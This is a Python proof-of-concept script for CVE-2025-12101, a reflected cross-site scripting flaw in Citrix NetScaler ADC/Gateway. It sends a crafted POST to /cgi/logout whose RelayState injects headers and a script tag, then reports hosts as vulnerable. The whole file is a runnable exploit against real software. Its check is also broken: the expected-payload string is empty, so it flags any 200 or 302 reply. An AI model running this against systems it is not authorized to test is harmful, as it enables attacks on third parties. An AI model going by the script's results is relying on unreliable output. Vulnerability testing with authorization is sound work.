#!/usr/bin/env python3 # # Simple PoC for CVE-2025-12101 – Citrix NetScaler ADC/Gateway Reflected XSS # # Based on research and payload details from: # https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/?1 # # Use only on systems you are explicitly authorized to test. import socket import ssl import re import argparse from urllib.parse import urlparse # ===== ANSI COLORS ===== RED = "\033[31m" GREEN = "\033[32m" YELLOW = "\033[33m" CYAN = "\033[36m" BOLD = "\033[1m" RESET = "\033[0m" # Body EXACTLY as provided (URL-encoded SAMLResponse + RelayState with ) BODY = ( "SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIj8%2BPHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2Fz" "aXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJ0ZXN0IiBWZXJzaW9uPSIyLjAiPjxzYW1sOkFzc2Vy" "dGlvbiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0idGVzdCIg" "VmVyc2lvbj0iMi4wIj48c2FtbDpTdWJqZWN0PjxzYW1sOk5hbWVJRD50ZXN0QGV4YW1wbGUuY29tPC9zYW1sOk5h" "bWVJRD48L3NhbWw6U3ViamVjdD48L3NhbWw6QXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U%2B&RelayState=DQpD" "b250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzY3JpcHQ%2bYWxlcnQoMSk8L3NjcmlwdD4%3d" ) # Decoded payload expected to be reflected PAYLOAD = "" def parse_target(url: str): """ Accepts: -u https://www.example.com -u http://example.com -u www.example.com Returns: host, port """ if not url.startswith("http"): url = "https://" + url parsed = urlparse(url) host = parsed.hostname if not host: raise ValueError("Invalid target URL") if parsed.port: port = parsed.port else: port = 443 if parsed.scheme == "https" else 80 return host, port def build_request(host: str, body: str) -> bytes: body_bytes = body.encode("ascii") content_length = len(body_bytes) request = ( f"POST /cgi/logout HTTP/1.1\r\n" f"Host: {host}\r\n" f"User-Agent: CVE-2025-12101-raw-PoC\r\n" f"Accept: */*\r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Content-Length: {content_length}\r\n" f"Connection: close\r\n" f"\r\n" ).encode("ascii") + body_bytes return request def recv_all(sock: ssl.SSLSocket, chunk_size: int = 4096) -> str: data = b"" while True: try: chunk = sock.recv(chunk_size) except socket.timeout: break if not chunk: break data += chunk return data.decode("utf-8", errors="ignore") def check_cve_2025_12101_script_payload(host: str, port: int = 443, timeout: int = 15): print(f"{CYAN}{BOLD}[*] Testing target: {host}:{port}{RESET}") ctx = ssl.create_default_context() try: raw_sock = socket.create_connection((host, port), timeout=timeout) sock = ctx.wrap_socket(raw_sock, server_hostname=host) sock.settimeout(timeout) except Exception as e: print(f"{RED}[!] Connection error: {e}{RESET}") return try: request = build_request(host, BODY) sock.sendall(request) response = recv_all(sock) finally: sock.close() print(f"\n{YELLOW}{BOLD}===== RAW HTTP RESPONSE BEGIN ====={RESET}") print(response) print(f"{YELLOW}{BOLD}===== RAW HTTP RESPONSE END ====={RESET}\n") m = re.search(r"HTTP/\d\.\d\s+(\d+)", response) status_code = int(m.group(1)) if m else 0 reflected = PAYLOAD in response print(f"{CYAN}[+] HTTP status code: {status_code}{RESET}") print(f"{CYAN}[+] Payload '{PAYLOAD}' reflected: {reflected}{RESET}") if status_code in (200, 302) and reflected: print( f"\n{GREEN}{BOLD}[VULNERABLE]{RESET} " f"{GREEN}XSS confirmed on {host} with payload {PAYLOAD!r}{RESET}" ) else: print( f"\n{BOLD}{RED}[INFO]{RESET} " f"{RED}No XSS behaviour detected on {host} with this payload.{RESET}" ) if __name__ == "__main__": parser = argparse.ArgumentParser( description="PoC for CVE-2025-12101 – Citrix NetScaler Reflected XSS", allow_abbrev=False, ) parser.add_argument( "-u", "--url", required=True, help="Target URL (e.g. https://www.example.com)" ) args = parser.parse_args() host, port = parse_target(args.url) check_cve_2025_12101_script_payload(host, port)